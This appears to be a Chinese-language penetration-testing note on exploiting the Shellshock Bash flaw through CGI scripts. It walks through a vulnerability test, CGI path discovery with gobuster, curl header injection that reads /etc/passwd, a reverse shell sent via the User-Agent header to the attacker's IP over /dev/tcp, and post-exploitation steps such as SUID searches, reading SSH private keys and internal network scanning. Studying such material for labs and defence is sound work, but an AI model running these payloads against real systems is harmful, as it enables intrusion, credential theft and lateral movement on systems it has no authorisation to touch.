攻擊通用網關介面 (CGI) 應用程式 - Shellshock
1. 發現點
Shellshock 係因為 Bash 對環境變數處理方式出錯
本應函數定義儲存到變數,但 Bash 執行錯誤地允許「函數後面嘅指令」被當成系統命令執行
適用於舊版 Bash(很多 Linux 主機在 CGI 程式執行時都會用到 Bash)
2. 測試Payload
env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
如果系統有漏洞,會輸出:
vulnerable-shellshock
not vulnerable
否則只會印出
not vulnerable
3. 掃描路徑
使用 Gobuster、dirb、ffuf 等工具找 CGI endpoint:
gobuster dir -u http://<target>/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
找到如
/cgi-bin/access.cgi
4. 確認漏洞
用 curl 嘗試注入指令:
curl -H 'User-Agent: () { :; }; echo; /bin/cat /etc/passwd' http://<target>/cgi-bin/access.cgi
如果回傳
/etc/passwd
的內容,即確認漏洞存在
5. 利用取得反向 shell
開啟 listener:
nc -lvnp 7777
發送 payload:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/你的IP/7777 0>&1' http://<target>/cgi-bin/access.cgi
成功後獲得
www-data
權限 shell
5. 連鎖漏洞
當拿到 www-data
權限後,可以進行以下鏈式利用(pivot):
步驟
攻擊目標
工具/命令範例
本地提權
找可利用的 sudo 權限、SUID Binary、Kernel Exploit
sudo -l
、find / -perm -4000 -type f 2>/dev/null
檔案搜尋敏感資訊
找密碼、Token、私鑰
find / -type f -iname "*password*" 2>/dev/null
橫向移動
如果有多個用戶或內網目標,嘗試 SSH、RDP、Telnet
cat ~/.ssh/id_rsa
、ssh user@ip
讀 crontab
檢查是否有定時執行惡意可利用的腳本
cat /etc/crontab
檢查 NFS / SMB
有沒有掛載 NFS、開啟 SMB 可導致任意檔案存取
showmount -e <ip>
、smbclient -L //<ip>
內網掃描
利用目標主機繼續向內部網段滲透
使用 nmap
、ping
最后更新于
这有帮助吗?